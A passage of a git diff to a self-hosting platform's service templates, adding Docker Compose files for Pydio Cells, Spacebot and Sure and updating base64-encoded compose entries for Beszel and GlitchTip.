https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images # slogan: MinIO is a high performance object storage server compatible with Amazon S3 APIs. # category: storage diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml index bc2fbd637..346b0c664 100644 --- a/templates/compose/plane.yaml +++ b/templates/compose/plane.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://docs.plane.so/self-hosting/methods/docker-compose # slogan: The open source project management tool # category: productivity diff --git a/templates/compose/pterodactyl-panel.yaml b/templates/compose/pterodactyl-panel.yaml index 9a3f6c779..c86d9d468 100644 --- a/templates/compose/pterodactyl-panel.yaml +++ b/templates/compose/pterodactyl-panel.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://pterodactyl.io/ # slogan: Pterodactyl is a free, open-source game server management panel # category: media @@ -102,4 +103,4 @@ services: - MAIL_PORT=$MAIL_PORT - MAIL_USERNAME=$MAIL_USERNAME - MAIL_PASSWORD=$MAIL_PASSWORD - - MAIL_ENCRYPTION=$MAIL_ENCRYPTION + - MAIL_ENCRYPTION=$MAIL_ENCRYPTION \ No newline at end of file diff --git a/templates/compose/pterodactyl-with-wings.yaml b/templates/compose/pterodactyl-with-wings.yaml index 6e1e3614c..20465a139 100644 --- a/templates/compose/pterodactyl-with-wings.yaml +++ b/templates/compose/pterodactyl-with-wings.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://pterodactyl.io/ # slogan: Pterodactyl is a free, open-source game server management panel # category: media diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml new file mode 100644 index 000000000..77a24a533 --- /dev/null +++ b/templates/compose/pydio-cells.yml @@ -0,0 +1,33 @@ +# documentation: https://docs.pydio.com/ +# slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance. +# tags: storage +# logo: svgs/cells.svg +# port: 8080 + +services: + cells: + image: pydio/cells:4.4 + environment: + - SERVICE_URL_CELLS_8080 + - CELLS_SITE_EXTERNAL=${SERVICE_URL_CELLS} + - CELLS_SITE_NO_TLS=1 + volumes: + - cells_data:/var/cells + mariadb: + image: 'mariadb:11' + volumes: + - mysql_data:/var/lib/mysql + environment: + - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT} + - MYSQL_DATABASE=${MYSQL_DATABASE:-cells} + - MYSQL_USER=${SERVICE_USER_MYSQL} + - MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL} + healthcheck: + test: + - CMD + - healthcheck.sh + - '--connect' + - '--innodb_initialized' + interval: 10s + timeout: 20s + retries: 5 diff --git a/templates/compose/spacebot.yaml b/templates/compose/spacebot.yaml new file mode 100644 index 000000000..2ecfdacd6 --- /dev/null +++ b/templates/compose/spacebot.yaml @@ -0,0 +1,31 @@ +# documentation: https://docs.spacebot.sh/docker +# slogan: An agentic AI system with specialized processes for thinking, working, and remembering. +# category: ai +# tags: ai, agent, anthropic, openai, discord, slack, llm, agentic +# logo: svgs/spacebot.png +# port: 19898 + +services: + spacebot: + image: "ghcr.io/spacedriveapp/spacebot:full" + environment: + - SERVICE_FQDN_SPACEBOT_19898 + - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} + - OPENAI_API_KEY=${OPENAI_API_KEY} + - OPENROUTER_API_KEY=${OPENROUTER_API_KEY} + - DISCORD_BOT_TOKEN=${DISCORD_BOT_TOKEN} + - SLACK_BOT_TOKEN=${SLACK_BOT_TOKEN} + - SLACK_APP_TOKEN=${SLACK_APP_TOKEN} + - BRAVE_SEARCH_API_KEY=${BRAVE_SEARCH_API_KEY} + - SPACEBOT_CHANNEL_MODEL=${SPACEBOT_CHANNEL_MODEL} + - SPACEBOT_WORKER_MODEL=${SPACEBOT_WORKER_MODEL} + volumes: + - "spacebot-data:/data" + security_opt: + - seccomp=unconfined + shm_size: 1g + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:19898/api/health"] + interval: 30s + timeout: 5s + retries: 3 diff --git a/templates/compose/sure.yaml b/templates/compose/sure.yaml new file mode 100644 index 000000000..7c72156e3 --- /dev/null +++ b/templates/compose/sure.yaml @@ -0,0 +1,93 @@ +# documentation: https://github.com/we-promise/sure +# slogan: An all-in-one personal finance platform. +# category: finance +# tags: budgeting,budget,money,expenses,income +# logo: svgs/sure.png +# port: 3000 + +services: + web: + image: ghcr.io/we-promise/sure:0.6.7 + environment: + - SERVICE_URL_SURE_3000 + - APP_DOMAIN=$SERVICE_FQDN_SURE + - SECRET_KEY_BASE=$SERVICE_BASE64_BASE + - POSTGRES_USER=${SERVICE_USER_POSTGRESQL} + - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL} + - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure} + - 'REDIS_URL=redis://valkey:6379' + - DB_HOST=postgresql + - DB_PORT=5432 + - 'SELF_HOSTED=true' + - 'RAILS_FORCE_SSL=false' + - 'RAILS_ASSUME_SSL=false' + - ONBOARDING_STATE=${ONBOARDING_STATE:-open} + depends_on: + postgresql: + condition: service_healthy + valkey: + condition: service_healthy + volumes: + - sure-app-storage:/rails/storage + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:3000"] + interval: 15s + timeout: 20s + retries: 5 + + worker: + image: ghcr.io/we-promise/sure:0.6.7 + command: bundle exec sidekiq + environment: + - APP_DOMAIN=$SERVICE_FQDN_SURE + - SECRET_KEY_BASE=$SERVICE_BASE64_BASE + - POSTGRES_USER=${SERVICE_USER_POSTGRESQL} + - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL} + - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure} + - 'REDIS_URL=redis://valkey:6379' + - DB_HOST=postgresql + - DB_PORT=5432 + - 'SELF_HOSTED=true' + - 'RAILS_FORCE_SSL=false' + - 'RAILS_ASSUME_SSL=false' + - ONBOARDING_STATE=${ONBOARDING_STATE:-open} + volumes: + - sure-app-storage:/rails/storage + depends_on: + postgresql: + condition: service_healthy + valkey: + condition: service_healthy + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:3000"] + interval: 15s + timeout: 20s + retries: 5 + + postgresql: + image: postgres:16-alpine + volumes: + - sure-postgresql-data:/var/lib/postgresql/data + environment: + - POSTGRES_USER=${SERVICE_USER_POSTGRESQL} + - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL} + - POSTGRES_DB=${POSTGRESQL_DATABASE:-sure} + healthcheck: + test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"] + interval: 5s + timeout: 20s + retries: 10 + + valkey: + image: valkey/valkey:8-alpine + command: valkey-server --appendonly yes + volumes: + - sure-valkey:/data + healthcheck: + test: + - CMD-SHELL + - 'valkey-cli ping | grep PONG' + interval: 5s + timeout: 5s + retries: 5 + start_period: 3s diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 3c5773d0e..a9f653460 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -1758,19 +1758,17 @@ }, "glitchtip": { "documentation": "https://glitchtip.com?utm_source=coolify.io", - "slogan": "GlitchTip is a self-hosted, open-source error tracking system.", - "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODA4MAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiBnbGl0Y2h0aXAvZ2xpdGNodGlwCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", + "slogan": "GlitchTip is a error tracking system.", + "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2xpdGNodGlwL2dsaXRjaHRpcDo2LjAnCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU